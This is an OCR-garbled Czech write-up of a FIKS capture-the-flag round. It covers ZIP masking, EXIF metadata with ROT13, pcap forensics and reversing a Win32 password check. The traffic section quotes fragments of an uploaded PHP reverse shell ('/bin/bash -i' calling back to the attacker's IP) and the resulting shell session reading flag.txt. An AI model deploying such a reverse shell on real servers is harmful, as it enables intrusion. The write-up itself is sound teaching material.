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Reseni tlohy ¢&. 1
Analyza obludy

1 Zadani

Po otevreni vstupu jste moznd uvidéli spoustu divnych znaku:
PK~C"D

"@"@"@"@ @ HV?W??7?"D"@"@"@"D"Q@"@"@

"@""0.seed.txtUT ~@"C_7ue_7ueux"K"Q"A"D?°C"Q@
"@"D7"C"@"0@1234PK"C"D"T"@"@"@"H"Q@"HV?W7
?7+"A"@"@"L"B"Q@"@"K"@""@.hashes.txtUT

"Q@"C_7ue_7ueux"K"@"A"D?°C"@"@"D?"C~@"@"U?7"U"DO"DD??"Z7"M
Podle prvnich znaku tzv. magic bytes jde ale poznat co to je za typ souboru. PK nalezi ZIPu.

Zjistit to lze tieba na wiki nebo na Linuxu na to je program file:

$ file input.txt
input.txt: Zip archive data

Soubor odzipujeme.

2 Hosts

Mame tu dva soubory hosts a key512. PS: Uloha nevyzaduje zadné znalosti siti, IP adres ani niceho
jiného. V hosts souboru se nachazi podivné nazvy koncici vzdy na specidlni znak. Mezi prvnimi je
{ a mezi poslednimi }. To ndm uz napovida, ze néjak musime vybrat tyto znaky spolu s dalsimi,
které budou tvorit vlajku. Soubor key512 obsahuje spoustu 255 a néjaké 000. VSimneme si, ze ma v
nazvu 512, coz se shoduje s poctem téchto cisel a také velikosti prvniho souboru.

-la
r 512 duvid
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2,0k david

Tato cisla pouzijeme jako masku pro bajty prvniho souboru, abychom vyextrahovali pismena
vlajky. Kazdé pismeno nalezi jednomu ¢islu. Pokud je 255, budeme ho ignorovat, pokud je 000, tak
ho pfidame do vystupu. Muzeme to vylustit manudlné, ale kdo na to ma cas. Staci si na to napsat
skript.

Skript je v zipu v kédu fesSeni.
Vlajka je: fiks{flag_is_11005488}.


https://en.wikipedia.org/wiki/List_of_file_signatures
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3 Image

Na prvni pohled se to zdd jako normdlni obrazek cute kotatek.

Co se v ném schovava? Zpusobu jak ukryt informace do obrazku je mnoho. D4 se néco schovat do
LSB (Least Significant Bits). Na to jsou ndstroje jako steghide nebo stegsolve. Tady ale nic nen.

Dalsi moznost je napf. za data obréazku appendnout dalsi data/soubor. Nebo ho schovat nékam
doprostied. Nastroje binwalk a foremost umi binarné projit souborem a hledat vyse zminéné magic
bytes ¢i jiné hlavicky dalsich souboru. Opét ale nic nenajdou.

Resen{ je ale jednodussi. Vlajka se schovavé v metadatech. Mimo samotné pixely muize obrazek
obsahovat dalsi informace jako model fotoaparatu, jméno autora, dobu expozice, ISO, datum a cas
pofizeni snimku atd. metadata si muzeme zobrazit néstrojem exiftool nebo na néjaké

strance:

Exif Byte Order
Make

Camera Model Name
Orientation

X Resolution

Y Resolution
Resolution Unit
Software

Modify Date

Artist

Target Printer

Y Cb Cr Positioning
Copyright

Exposure Time

F Number

Exposure Program
IS0

Exif Version
Date/Time Original

: Little-endian (Intel, II)
: svxf{gd

1 wad_iy

: Horizontal (normal)
1 72

72

: inches

: 4dwx4_i

: 2023:09:07 10:57:28
1 _z3g4q4d

: g3pu_69

: Centered

154128}
1/103

: 2.0
: Program AE

100

: 0220
: 2019:07:05 18:24:46


http://www.caesum.com/handbook/Stegsolve.jar
https://en.wikipedia.org/wiki/Exif
https://exifinfo.org/
https://exifinfo.org/
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Create Date

Components Configuration
Compressed Bits Per Pixel
Shutter Speed Value
Aperture Value

Exposure Compensation
Max Aperture Value
Metering Mode

Light Source

Flash

Focal Length

Sub Sec Time

Sub Sec Time Original
Sub Sec Time Digitized
Flashpix Version

Color Space

: 2019:07:05 18:24:46
.Y, Cb, Cr, -
4

1/103

: 2.0

: 0

: 2.0

: Unknown (15731)
: Unknown

: 0ff, Did not fire
: 3.8 mm

: 603862

: 419

: 603862

: 0100

: sRGB

Zajimaji nas pole s divnymi hodnotami:

Make

Camera Model Name
Software

Artist

Target Printer
Copyright

: svxf{gd
1 wad_iy
: 4dwx4_i
1 _z3g4q4d
: g3pu_69

154128}

Hodnoty spojime dohromady a dostaneme svxf{gdwad_iy4wx4_i_z3g4qég3pu_69154128}. To
uz se nasi vlajce docela blizi, ale jesté to neni uplné ono. Vlajka ma byt ve tvaru fiks{.*7}, tedy
néjak musime z svxf udélat fiks. Muzeme si tfeba vSimnout, ze £ se méni na s a s na f, kde obé

pismena jsou od sebe vzdalena 13 znaki. Ano, jedna se o sifru ROT13.

$ echo 'svxf{gdwad_iydwx4_i_z3gdqldg3pu_69154128}"

fiks{t4jn4_v14jk4_v_m3t4d4t3ch_69154128}

4 Traffic

| rotl3

Dostali jsme pcap. To je zdznam sitového provozu. Muzeme ho oteviit napifkad v nastroji Wireshark.


https://en.wikipedia.org/wiki/ROT13
https://www.comparitech.com/net-admin/pcap-guide/
https://www.wireshark.org/
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dump.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAC @B BRE@ Qe>=EFEEE A

fi ctrl

Source Destination Protocol |Length | Time to Live

10 16.0.0.1 10.255.255.255 86 64 57621 — 57621 Len=44
20.000.. 10.0.0.1 10.255.255.255 UDP 86 64 57621 — 57621 Len=44

30.000.. 10.0.0.1 239.255.255.250 SSDP 210 1 M-SEARCH * HTTP/1.1

40.000.. 10.0.0.1 239.255.255.250 SSDP 210 1 M-SEARCH * HTTP/1.1

50.001. 16.0.0.1 239.255.255.250 SSDP 210 1 M-SEARCH * HTTP/1.1

60.001. 10.0.0.1 239.255.255.250 SSDP 210 1 M-SEARCH * HTTP/1.1

70.001.. 10.0.0.1 224.0.0.251 MDNS 87 255 Standard query ©x8@00 PTR _spotify-connect. tcp.local, "QM" question
8 0.002.. fe0::42:afff.. ffo2::fb MDNS 107 Standard query ©x8@00 PTR _spotify-connect. tcp.local, "QM" question
9 0.002. 10.207.51.173 10.187.249.75  ICMP 98 64 Echo (ping) request id=0x@31, seq=e/0, ttl=64 (reply in 10)

10 ©.002.. 10.187.249.75 10.207.51.173  ICMP 98 64 Echo (ping) reply  id=0x@e31, seq=e/0, ttl=64 (request in 9)

11 0.002.. 10.0.0.1 239.255.255.250 SSDP 167 255 M-SEARCH * HTTP/1.1

12 0.003.. 10.207.51.173 10.187.249.75  ICMP 98 64 Echo (ping) request id=0x@031, seq=1/256, tt1=64 (reply in 13)

13 0.003.. 10.187.249.75 10.207.51.173  ICMP 98 64 Echo (ping) reply  id=0x0e31, 4 (request in 12)

14 0.003. 10.207.51.173 10.187.249.75  ICMP 98 64 Echo (ping) request id=0x0031, 4 (reply in 15)

15 0.003.. 10.187.249.75 10.207.51.173  ICMP 98 64 Echo (ping) reply  id=0x@031, seq=2/512, tt1=64 (request in 14)

16 ©.004.. 02:42:0a:bb:f.. ©2:42:0a:cf:33.. ARP 42 who has 10.207.51.173? Tell 10.187.249.75

17 0.004.. 02:42:0a:cf:3.. ©2:42:0a:bb:f9.. ARP 42 who has 10.187.249.75? Tell 10.207.51.173

18 ©.004.. 02:42:0a:cf:3.. ©2:42:0a:bb:f9.. ARP 42 10.207.51.173 is at 02:42:0a:cf:33:ad

19 0.004.. 02:42:0a:bb:f.. ©2:42:0a:cf:33.. ARP 42 10.187.249.75 is at 02:42:0a:bb:f9:4b

20 0.004.. 10.207.51.173 10.187.249.75  ICMP 98 64 Echo (ping) request id=0x0031, seq=3/768, tt1=64 (reply in 21)
210.005.. 10.187.249.75 10.207.51.173  ICMP 98 64 Echo (ping) reply  id=0x0031, seq=3/768, tt1=64 (request in 20)

22 0.005.. 10.207.51.173 10.187.249.75  ICMP 98 64 Echo (ping) request id=0x0031, seq=4/1024, ttl=64 (reply in 23)

23 6.005.. 10.187.249.75 10.207.51.173  ICMP 98 64 Echo (ping) reply  id=0x8631, seq=4/1024, ttl=64 (request in 22)
24 0.005.. 10.207.51.173 10.187.249.75  ICMP 98 64 Echo (ping) request id=0x931, seq=5/1280, ttl=64 (reply in 25)
250

©06.. 10.187.249.75 10.207.51.173  ICMP 98 64 Echo (ping) reply  id=0x031, seq=5/1280, ttl=64 (request in 24)

» Frame 337: 74 bytes on wire (592 bits), 74 bytes captured
» Ethernet II, S 42:af:c3:9b:78 42:af:c3:9b 9:4b (©2:42:0a:bb:f9:4b)
» Internet Protocol Version 4, Src: 10.0.0.1, 10.187.249

[ Transmission Control Protocol, Src Port: 36232, Dst Port: 22, Seq: O, Len

® & dump.pcap Packets: 10292 - Displayed: 10292 (100.0%) Profile: Default

Ve sloupcich vidime kdo (Source) komu (Destination) co posilal, jakym protokolem a néjaké
zakladni informace o tom packetu. Vidime naptiklad, ze stroj s IP adresou 10.207.51.173 pustil ping

na stroj s adresou 10.187.249.75.
Kdyz zascrollujeme kousek niz, vSimneme si hodné ¢ervené:

Source Destination
B .187.249.

64 111 . 42734 [RST,
.187.249. 64 33324 — 113 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=2477559653 TSecr=0

Vidime vzdy dvojici Sedého tadku s priznakem SYN od 10.0.0.1 a ¢erveného radku s priznakem
RST od 10.187.249.75. Jedna se o netspésny pokus o otevieni TCP spojeni. VSimneme si, ze takovych
pokusu je tu opravdu dost. Pokazdé na jiny port, mezi které patii i dobre znamé porty jako SSH
(22), SMTP (25), HTTPS (443) a dalsi.

Jedna se o port scan. Utoénik zjistuje, jaké porty a tedy i jaké sluzby bézi na daném stroji. Bézné

se pouziva

2325 0.452..
2326 0.452..
2327 ©.452...
2328 ©.453..
2329 0.453..
2330 0.453...
2331 0.453..
2332 0.453..
2333 0.453..
2334 0.454..
2335 0.454...

Dva porty neodpovi RST:

nmapl

10.0.06.1
10.187.249.75
10.0.0.1
10.0.0.1
10.187.249.75
16.0.0.1
10.187.249.75
10.0.0.1
10.0.0.1
10.187.249.75
10.0.0.1

16.187.243.75
10.0.0.1
10.187.249.75
10.187.249.75
10.0.0.1
10.187.249.75
10.0.0.1
10.187.249.75
16.187.249.75
10.0.0.1
10.187.249.75

o8 9080 |20 JSUN] STO MINTOAZI0 LenTe MOSTIACC CACK.PERN Tova|TZa775505L4 ToeCrTC Womize

64 80 — 34986 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=@ MSS=146@ SACK_PERM TSval=1349605859 TSecr=2477559814 WS=128
64 34986 — 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2477559814 TSecr=1349605859

64 40884 — 3306 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=2477559814 TSecr=0 WS=128

64 3306 — 40884 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM TSval=1349605859 TSecr=2477559814 WS=128
64 40884 ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2477559814 TSecr=1349605859

64 Server Greeting proto=10 version=5.5.54-0+deb8ul-log

64 40884 — 3306 [ACK] Seq=1 Ack=92 Win=64256 Len=0 TSval=2477559814 TSecr=1349605859

64 40884 — 3306 [FIN, ACK] Seq=1 Ack=92 Win=64256 Len=0 TSval=2477559814 TSecr=1349605859

64 3306 — 40884 [FIN, ACK] Seq=92 Ack=2 Win=65280 Len=0 TSval=1349605859 TSecr=2477559814

64 40884 — 3306 [ACK] Seq=2 Ack=93 Win=64256 Len=0 TSval=2477559814 TSecr=1349605859

HTTP (80) a MySQL (3306).

Pojdme se zaméiit pouze na provoz mezi témito dvéma stroji. Do wiresharku mizeme nahoie


https://en.wikipedia.org/wiki/Ping_(networking_utility)
https://www.tutorialspoint.com/tcp-3-way-handshake-process
https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports
https://www.freecodecamp.org/news/what-is-nmap-and-how-to-use-it-a-tutorial-for-the-greatest-scanning-tool-of-all-time/
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psat filtery. Dame si tam, ze chceme pouze packety od/pro utocnika.
ip.addr == 10.0.0.1

Po portscanu vidime hodné HT'TP provozu. Po chvilce narazime na POST na login. POSTY jsou
zajimavé, protoze se jimi uz néco doopravdy déje. GET requesty jsou (nebo by alesponn mély byt,
bohuzel v praxi obcas vidime i néco jiného, béda vam, je to bezpecnostni riziko) pouze read-only.
Wireshark je chytry a umi nam zobrazit celou ”konverzaci”.

10.187.249.75 10.0.0.1 TCP 66 64 80 — 50686 [FIN, ACK] Seq=1412 Ack=864 Win=64384 Len=0 TSval=1349629290 TSecr=2477578241
10.0.0.1 10.187.249.75 TCP 66 64 50686 — 80 [FIN, ACK] Seq=864 Ack=1413 Win=64128 Len=0 TSval=2477583245 TSecr=1349629290
10.187.249.75 10.0.0.1 TCP 66 64 80 — 50686 [ACK] Seq=1413 Ack=865 Win=64384 Len=0 TSval=1349629290 TSecr=2477583245
10.8.0.1 10.187.249.75 TCP 74 64 58702 — 8@ [SYN] Seq=@ Win=64240 Len=0 MSS5=1460 SACK_PERM TSval=2477584289 TSecr=8 WS=128
10.187.249.75 10.0.0.1 TCP 74 64 88 ~ 58702 [SYN, ACK] Seq=0 Ack=1 Win=65168 Len=@ MS5=1460@ SACK_PERM TSval=13496308334 TSec

10.8.0.1 10.187.249.75 TCP 66 64 58702 — 8@ [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2477584289 TSecr=1349630334

64 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
Mark/Unmark Packet Win=64512 Len=0 TSval=1349630334 TSecr=2477584289

Ignore/Unignore Packet

10.0.8.1 10.187.249.75  TCP 66 65 Win=64128 Len=8 TSval=2477584292 TSecr=1349630336
10.0.0.1 10.187.249.75  HTTP 543 Set/Unset Time Reference
10.187.249.75 10.0.0.1 HTTP 1132 Time Shift...
10.0.8.1 10.187.249.75  TCP 66 1431 Win=64128 Len=0 TSval=2477584371 TSecr=1348630375
Packet Comments . .
10.0.0.1 10.187.249.75 HTTP 731 lication/x-www-form-urlencoded)
10.187.249.75 10.0.0.1 HTTP 429 Edit Resolved Name
10.0.08.1 10.187.249.75  TCP 66 Apply as Filter 1794 Win=64128 Len=0 TSval=2477589181 TSecr=1349635226
10.0.08.1 10.187.249.75  HTTP 543
Prepare as Filter
10.187.249.75 10.0.6.1 HTTP 3104
10.0.08.1 10.187.249.75  TCP 66 Conversation Filter 4832 Win=64128 Len=0 TSval=2477589287 TSecr=1349635252
10.0.8.1 10.187.249.75  ICMP 98 Colorize Conversation , seq=3/768, ttl=64 (reply in 2521)

scTP , seq=3/768, ttl=64 (request in 2520)

Follow HTTP Stream
Copy TCP Stream

Protocol Preferences

ansfer Protocol Decode As...
L Encoded: application/x-www-form-urlencoded

Show Packet in New Window

Host: 10.187.249.75

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 85

Origin: http://108.187.249.75

DNT: 1

Connection: keep-alive

Referer: http://10.187.249.75/1login.php

Cookie: PHPSESSID=puglim2dkmnbsiuatck813j0um7; security=1lo

Upgrade-Insecure-Requests: 1

username=admin&password=admin&l ogin=Login&user_token=80fa8de2f4f95bd215ale8bae89931eaHTTP/1.1
) ] 08 9:03:0

ri, ep 20 GM

) ﬁ . .
Apache/2.4.10 (Debian)

Content-Length: @

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8§|

Vidime netspésny pokus o prihlaseni se jménem admin a heslem admin.


https://www.w3schools.com/tags/ref_httpmethods.asp
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Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate|

Connection: keep-alive

Referer: http://10.187.249.75/login.php

Cookie: PHPSESSID=puglm2dkmnbsiuatck813j0um7; security=1lo
Upgrade-Insecure-Requests: 1

username=admin&password=passwordélLogin=Login&user_token=76a8f42719110923d1f1b1b66cdf24fbHTTP/1.1 382 Found
UJdLE. r Uo + §] 9. wy.u Gl

, SEET
. Apache/2.4.10 (Debian)
: Thu, 19 Nov 1981 ©8:52:00 GM

Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=6|

Pragma: no-cache|

Location: index.php

Content-Length: 6|

Keep-Alive: timeout=5, max=9§

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Po ném nésleduje uz tispésné prihlaseni se jménem admin a heslem password (pro tip: nepouzivejte
toho heslo ;) )

Vratime se zpét (Wireshark nam zménil filter, takze ho musime zménit zpét) a koukame co se
déje dal. Hmmm, POST na upload.

POST /upload/ HTTP/1.1
Host: 10.187.249.75
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:1087.8) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml, application/xml;g=0.9,image/avif, image/webp, */*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
22817538173985809133827527602

form-data; name="MAX_FILE_SIZE"

22817538173985809133827527602

Content-Disposition: form-data; name="uploaded"; filename="revshell.php"

// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE:
// Copyright (C) 2887 pentestmonkey@pentestmonkey.net

set_time_limit (0);
EVERSION = "1.0";
$ip = '10.0.0.1';

Schunk_size = 1400;

Swrite_a = null;

Gerror_a = null;

$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = ©;

Hmm, reverse shell?.
Utoénik potom vynuti spusténi php kédu navstivenim prislusné php stranky.


https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
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voug L.

AU . 107 . £949. (0 (4" o Lele] 04 304£0 — OU |ALK| SEY—1 ACK—L1 WLII-D4£20 LEIN-Y 15VAaLl-£Z47 /049
10.187.249.75 6} GET /uploads/revshell.php JHTTP/1.1

- —_ T
Seq=0 Win=64240 Len=0
E BOE

555] 168.187.249.7Y5 10.6.6.1

Po navstivéni stranky nésleduje otevieni nového TCP spojeni ze serveru (10.187.249.75) na
pocita¢ tutocnika (10.0.0.1) na port 5001, ktery jsme vidéli v kédu. Podle nasledujicich ¢ervenych
TCP Retransmission vidime, Ze utoc¢nik nejspise zapomnél otevtit ve svém firewallu port 5001, aby
se k nému server dostal. O kousek niz je druhy GET na revshell.php a nasleduje tspésné otevieni
spojeni.

Muzeme Wiresharku tict, aby ted nésledoval toho TCP spojeni. (Follow — TCP Stream)

Linux 283115313923 6.4.12-archl-1 #1 SMP PREEMPT_DYNAMIC Thu, 24 Aug 2023 00:38:14 +0000 x86_64 GNU/Linux
09:05:54 up 2 days, 2:22, 0 users, load average:

USER TTY FROM LOGIN@ IDLE JCPU

uid=33(www-data) gid=33(www-data) groups=33(www-data)

1 root root 4096
1 root root 4896
1 root root 0
1 root root 4096
2 root root 4096
5 root root 340
1 root root 4096
1 root root 23
2 root root 4096
1 root root 4096
2 root root 4096
2 root root 4896
2 root root 4096
2 root root 4096
4 nobody nogroup 0
1 root root 4096
1 root root 4096
1 root root 122
2 root root 4096
2 root root 4096
3 nobody nogroup o]
d rwx rwxrwt 1 root root 4896
drwxr-xr-x 1 root root 4096
drwxr-xr-x 1 root root 4096
-data@283f15313923:/% cat flag.txt

50

il

ZmLrc3toNGNrM3JtNGSTMjU20DMEOMTFS
83715313923:/%

Vidime, ze spoustél piikazy id, 1s -la a cat flag.txt.
Vlajka je Zmlrc3toNGNrM3JtNG5fMjU20DMOMTF.
Zkusené oko uz vidi base64.

$ echo -n 'Zmlrc3toNGNrM3JtNG5fMjU20DMOMTF9' | base64 -d
fiks{h4ck3rmd4n_25683411}

5 Win32

Ptred nami lezi spustitelny soubor (executable) pro Windows ve 32-bitové verzi. Kdyz ho spustime,
uvita nas popis tkolu a zaroven rada, na co se zamérit a jaké néstroje zkusit (Fig. [1f).

V tomto feseni budeme pouzivat nastroj jménem Ida (Interactive DisAssembler), avsak podobny
postup bude fungovat i v ostatnich. Nebudeme rozebirat zaklady assembleru a struktury executable
soubort, pro samostudium je vhodny napf. tento material.


https://b64encode.com/blog/what-does-base64-look-like-how-to-read-a-base64-string/
https://bdigital.uvhm.edu.mx/wp-content/uploads/2020/07/Reverse-Engineering-for-Beginners.pdf
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V tomhle programu se schovava tajemstvi. K jeho ziskani musis zadat spravne heslo. A jak heslo zjistis?
Reverse engineering! Dobry zacatek je prozkoumat program hezky instrukci po instrukci.
Pomoci ti mohou nastroje jako x6u4dbg, Ida Free, Radare2 nebo Ghidra.

Zadej heslo: test

Spatne heslo!

Obrazek 1: Spustény program

Po nacteni do Idy se nam zobrazi assemblerovy kéd programu, tak jak byl zkompilovan — bez
nazvu metod a proménnych, bez komentaiu a navic misto ¢itelného zdrojového koédu vidime jen
strojové instrukce, presné tak, jak je vidi nds operacni systém kdyz program spousti (Fig. .

Muzeme zacit postupné program prozkoumavat — prohlizet jednotlivé funkce v ném obsazené,
zkoumat jakd systémova volani pouziva (napi. Sleep, WriteConsoleA) a hledat jejich vyznam v
dokumentaci poskytnuté Microsoftem. Toto nam d& zakladni prehled o struktuie programu a tom co
se v ném déje. Vidime, ze vypisuje hlasku do konzole, nacita standardni vstup, provadi s nim néjaké
manipulace a konéi bud s jednou ze dvou moznych chybovych hldsek, nebo ndm ozndmi dispéch a
dela dalsi manipulace s daty.

Pokud jsme dostatecné zvédavi a otevieme si soubor v textovém ¢i hex editoru (zde pouzit nastroj
HxD), narazime rovnou na dalsi radu, kterd by nam jinak zustala skryta (Fig. .

Ida i Ghidra maji funkcionalitu umoznujici nepiesnou, avsak stale dosti uzite¢nou, rekonstrukei
strojového kédu do pseudokdédu na vyssi drovni, podobného jazyku C. Na vysledek takovéto rekon-
strukce se nedd nahlizet jako na korektni zdrojovy kod a slepé vérit, ze cokoliv, co v ném vidime,
je skutecné fungovani programu, ale da se brat jako reference, kterd nam zjednodusi pochopeni cel-
kového fungovani programu a umozni ndm zamérit se jen na ta mista, ktera jsou pro nas opravdu
dulezitd, a v téch teprve zkoumat strojovy kéd.

Vidime, ze hlavni logika programu se celd nachézi v prvotni funkeci (kterou Ida automaticky
pojmenovala start, Fig. [4).

Postupné nachézime vypsani ivodni hlasky, nac¢teni vstupu, kontrolu ze se vstup opravdu nacetl,
kontrolu, ze vstup je kratsi nez 10 znaku, a kontrolu, ze devaty znak vstupu (hesla) je nulovy bajt.
Z tohoto muzeme odvodit, ze heslo ma pravé osm znaku — jinak by neslo zarucit, ze na osmém misté
v bufferu bude pozadovana nula.

Déle nésleduje série operaci s jednotlivymi znaky (bajty) hesla, ze kterych program ziskd pole
deviti hodnot, které nakonec porovnavé s daty ulozenymi v sekci .data, viz Fig. [5| Rikejme jim
tfeba kontrolni bajty (checkBytes).

Vidime, ze aby program pokracoval, je nutné zadat takové heslo, které povede na presné tyto
zadané kontrolni bajty. Postup tvorby jednotlivych bajtu k porovnéani s polem ulozenym v datové
sekci je ilustrovan ve Fig. [6] ovsem spolehlivéjsi je analyzovat postup piimo z assembly kdédu, u
kterého je narozdil od pseudokddu jistota, ze to je to co program skutecné vykonava (Fig. [7)).

Hodnoty tedy zavisi na bajtech zadaného hesla, ¢iselné hodnoté desatého (index 9) znaku textu
vypisovaného po spusténi programu a konstantach. Jelikoz hodnota vypisovaného textu je vzdy
stejnd, jde také o konstantu (znak 'p’, decimalni hodnota 112). Jak je patrné, zélezi i na poradi
provadénych operaci, jelikoz na sobé navzajem zavisi.

Nasledné se provadi kontrola vytvorenych bajti s polem ulozenym v datové sekci — pokud
vSechny bajty odpovidaji, pristoupi se k deSifrovani a zobrazeni vlajky jednoduchym XOR algo-
ritmem. Toto bohuzel znamend, ze snazit se z programu ziskat vlajku dpravami v bindrce (napf.
upraveni podminek, aby byly splnéné vzdy) ndm nepomuze odhalit vlajku — k jejimu tuspésnému
desifrovani totiz potfebujeme zndt spravné bajty hesla.

Odbocka pro pokrocilé: Vime-li, ze vlajka zac¢ind textem ”fiks{”a koné¢i ”}”, muzeme si Sest
hodnot v checkBytes odvodit rovnou, jelikoz pro tyto znaky mame Sifrované hodnoty a vime jak
maji vypadat hodnoty desifrované. To nam trochu zrychli hledani a teSeni zavislosti.
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Gextie@4a1284
Cftext:eedal2e4 start
extieedalsd
.text:80481284 Buffer
.text:88401284 lpBuffer
Ctext:ieed4al2sd var 16
CSfext:Be401284 var_ 4
Ltext:eedal2ed

v L text:bed4el2sd
Lfext: 88481285
Ltext:88481287
fextieedal2sD
fext:ee48128E
Ltext:8@48128F
fextieedal296
fext:ee4a1299
LTextreadal2oE
fextieadal2oF
fext:eadal2A5
LTextreadal2is
Cfext:eedal2AB
Sgextieadal2ac
LText:eadal2AE
fext:eedal2Be
Ltext:ee4812E5

B s F L e R

Ltext:ead4a812BA
Ltext:@048128A loc_4@12BA:
Ltext:@a4al12BA
Ltext:ea48126F
Ltext:ead4a1205
Ltext:eadlal12CB
Ltext:eada120C
Ltext:ea4a1201
-text:eadlal1202
Ltext:ea481205
.text:ea4a1207
Ltext:eadsal20c

B o

Ltext:@a4812E1
Ltext:@84812E1 loc_4@12EL:
Ltext:@e84812E1
Ltext:@a4812E3
.text:ee4812E4
Ltext:@e84812E7
Ltext:@a4812EF
Ltext:ea4a12F1
Ltext:@B84812F3
Ltext:@n4812F3

KL IBBABL2ZFD § - - - s mm e e mm e e e e

Ltext:eadal2rn
Ltext:@84812FD0 loc_4@12FD:
Ltext:eadal2rD
Ltext:@a4812FF
ctext:eadaliea
Ltext:eadal3es
Ltext:@a481368
-text:@adalien
Ltext:ead48138F
Ltext:ead481318
Ctewt:@ada1313
Ltext:ead481317

public start
proc near

word ptr -4
push ebp
Mo ebp, esp
sub esp, 114h
push ebx
push esi
mow [ebp+lpBuffer], offset aVTomhleProgram ;
push [ebp+lpBuffer] ; lpBuffer
call sub_4@81166
pop ecx
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call sub_481139
pop ecx
test eax, eax
jnz short loc_4@12BA
call sub_4811D6
jmp loc_4@1545
; CODE XREF: start+2Atj
push BFAh 3 dwiilliseconds
call ds:__imp_Sleep
lea eax, [ebptBuffer]
push eax
call sub_481188
pop ecx
cmp eax, @Ah
jle short loc_4812E1
call sub_4@81106
jmp loc_4@1545
; CODE XREF: start+51lTj
xor eax, eax
inc eax
shl eax, 3
movzx  eax, [ebpteaxt+Buffer]
test eax, eax
jz short loc_4812FD
call sub_4811E9
jmp loc_ae1545
; CODE XREF: start+6D1j
Xor eax, eax
inc eax
imul eax, 6
movzx  eax, [ebp+eax+Buffer]
not eax
xor ecx, ecx
inc ecx
shl ecx, 3
mow [ebptecxtvar_18], al
eax, eax

xor

byte ptr -114h
dword ptr -14h
byte ptr -18h

"W tomhle programu se schovava tajemstvi”...

Obrazek 2: Disassemblovany program zobrazeny v nastroji IDA

Nezbyva nam tedy, nez se pokusit uhadnout potiebné bajty. Jelikoz kazdé individualni zadani
obsahuje jiné kontrolni bajty, nebudeme zde vypisovat zadné konkrétni feseni. K jeho dosazeni ale
staci vyjadrit hodnoty password jako neznamé a postupné je dosazenim znamych hodnot checkBytes

nalézt.

Je velmi dobfe mozné, ze vysledné heslo bude obsahovat i hodnoty, které se nedaji napsat do
terminalu na klavesnici — to nas ale nezastavi. Jelikoz program cte heslo ze standardniho vstupu,
muzeme pozadované heslo ulozit napt. do souboru a tento soubor na vstup programu presmérovat.
Tim dojde k simulaci situace, kdy by uzivatel zadané hodnoty do programu napsal, a zbavime se
omezeni na zobrazitelnost ¢i napsatelnost na klavesnici.

Pokud jsme heslo odvodili dobie, zobrazi se nam desifrovana vlajka!


https://en.wikipedia.org/wiki/Standard_streams
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Offset(h) 00 01 02 03 04 05 06 07 OB 0% QA OB OC OD OE OF 10 11 12 13 14 15 16 17 Decoded text

Q0000000 4D S& 20 00 03 00 Q0 OO 04 00 QQ QO FF FF 00 OO BE 00 00 QO QO QO 00 00 ﬁZ .......... L 4"
00000018 40 00 00 00 00 00 00 00 00 00 00 OO0 0O OO0 00 OO0 00 OO0 00 OO0 00 00 00 00 Buveiereeenareonansnannns
Q00000030 00 00 Q0 00 00 00 Q0 00 00 00 Q0 00O 80 00 00 OO QE 1F BA OE 00 B4 09 CD ... cvwconn €..... o,. .1

00000048 21 BE 01 4C CD 21 48 €% 6E 74 34 20 4% €4 61 20 46 72 &5 €5 20 75 €D €9 |!',.LI'Hint: Ida Free umi
Q0000060 20 64 65 €B 6F 6D 70 6% &C €F 76 &1 74 20 &4 €F 20 €3 2B 2B 21 0D OD OA dekompilovat do c++!...

QQOQoQQ07e 24 00 Q0 00 00 00 Q0 OO 50 45 Q0 00 4C 01 03 00 B3 7F 57 €5 00 00 00 00 Z....... TE..L... .We....
00000090 00 00 00 00 EO 0C 03 01 OB 01 OE 25 00 06 00 OC 00 04 00 00 00 00 00 00 ..ev@avnans e
QQo000R8 84 12 00 00 00 10 Q0 OO 00 20 00 00 00 00 40 00 Q0 10 00 00 00 02 00 00 4eeeeeen. P
QQ00000C0 06 00 00 00 00 00 Q00 OO 06 00 00 OO0 00 00 00 00 Q0 40 00 00 00 02 00 00 ... .ieeineennnns Bo.....
Q00Q000DE 00 00 00 00 03 00 00 51 00 00 10 00 00 10 00 00 Q00 00 10 00 00 10 00 00 ... iererasasnnrarasanans
QOOQQQOFQ 00 00 QO 00 10 00 Q0 00 Q0 00 Q0 Q0 00 00 00 00 14 30 00 00 28 00 00 00 ... ieieeinnnnrnns L
Q00000108 00 00 Q0 00 00 00 Q0 00 00 00 Q0 00 00 00 00 OO0 Q0 00 00 00 00 00 00 00 ... eecnnenrnnnnnnnnns
00000120 00 00 Q0 00 00 00 Q0 00 00 10 Q0 00 1C 00 00 OO0 Q0 00 00 00 00 00 00 00 ... eecnnenrnnnnnnnnns
Q00000138 00 00 QO 00 00 00 Q00 OO 00 00 Q0 OO0 00 00 00 00 Q0 00 00 00 00 00 00 00 ... e nerinaannnnnns
Q0000150 00 00 QQ 00 00 00 Q0 OO Q0 30 00 00 14 00 Q0 OO0 QO OO0 00 QO Q0 Q0 00 00 ......... L
